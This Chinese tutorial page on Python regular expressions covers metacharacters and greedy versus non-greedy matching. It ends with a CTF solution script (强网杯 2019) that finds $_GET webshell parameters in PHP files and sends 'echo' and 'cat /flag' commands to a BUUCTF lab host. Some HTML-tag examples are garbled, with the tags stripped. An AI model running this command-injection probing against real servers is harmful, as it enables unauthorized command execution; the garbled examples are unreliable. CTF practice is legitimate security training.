栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 软件开发 > 后端开发 > Python

正则表达式(python)

Python 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

正则表达式(python)

元字符 点 . 匹配所有字符

.表示匹配除了换行符之外的任意单个字符

例:

content = '''苹果是绿色的

橙子是橙色的

香蕉是黄色的

乌鸦是黑色的'''

import re

p = re.compile(r'.色')

for one in p.findall(content):

print(one)

output:

绿色

橙色

黄色

黑色

星号 * 重复匹配任意次

*表示匹配前面的子表达式任意次,包括0次

例:

content = '''苹果,是绿色的

橙子,是橙色的

香蕉,是黄色的

乌鸦,是黑色的

猴子,'''

import re

p = re.compile(r',.*')

for one in p.findall(content):

print(one)

output:

,是绿色的

,是橙色的

,是黄色的

,是黑色的

,

加号 + 重复匹配至少一次

+表示匹配前面的子表达式至少一次,也就是说不包括0次

例:

c

ontent = '''苹果,是绿色的

橙子,是橙色的

香蕉,是黄色的

乌鸦,是黑色的

猴子,'''

import re

p = re.compile(r',.+')

for one in p.findall(content):

print(one)

output:

,是绿色的

,是橙色的

,是黄色的

,是黑色的

问号 ? 表示匹配0或1次

?表示匹配前面的子表达式0次或者1次

例:

content = '''苹果,是绿色的

橙子,是橙色的

香蕉,是黄色的

乌鸦,是黑色的

猴子,'''

import re

p = re.compile(r',.?')

for one in p.findall(content):

print(one)

output:

,是

,是

,是

,是

,

花括号 {} -匹配指定次数

花括号表示前面的字符匹配指定的次数

例:

content = '''红彤彤,绿油油,黑乎乎,绿油油油油,'''

import re

p = re.compile(r'.油{2,4}')

for one in p.findall(content):

print(one)

output:

绿油油

绿油油油油

贪婪模式和非贪婪模式

例:

我们要把下面的字符串中的所有html标签都提取出来

source = 'Title'

代码:

content = 'Title'

import re

p = re.compile(r'<.*>')

for i in p.findall(content):

print(i)

output:

Title

结果发现并不是我们想要的结果,是因为元字符这些都默认是贪婪模式<.>,在后面加一个问好就可以变成非贪婪模式<.?>

代码:

content = 'Title'

import re

p = re.compile(r'<.*?>')

for i in p.findall(content):

print(i)

output:









ctf例题:强网杯 2019 WEB高明的黑客

代码:

import re

import os

import requests

  

  

files = os.listdir('src/')

reg = re.compile(r'$_[GET]{3}\['(.+)'\]')

for i in files:

f = open('src/'+i)

print('检查文件'+i)

data = f.read()

f.close()

result = reg.findall(data)

#print(i,result,"n")

url = 'http://2073ca8f-43a7-4086-b9b6-c03b0ddd39f3.node4.buuoj.cn:81/'

for j in result:

payload = url + i + '?' + j + '=echo 123456'

#print(payload)

try:

res = requests.get(url=payload,timeout=5)

except:

print(222222222)

if '123456' in res.text:

print(payload)

payload1=url+i+'?'+j+'=cat /flag'

res1 = requests.get(url=payload1)

#print(payload1)

reg1 = re.compile(r'flag\{.*?\}')

result_flag = reg1.findall(res1.text)

print(result_flag)

参考资料:b站白月黑羽,BUUCTF在线靶场

转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/313655.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号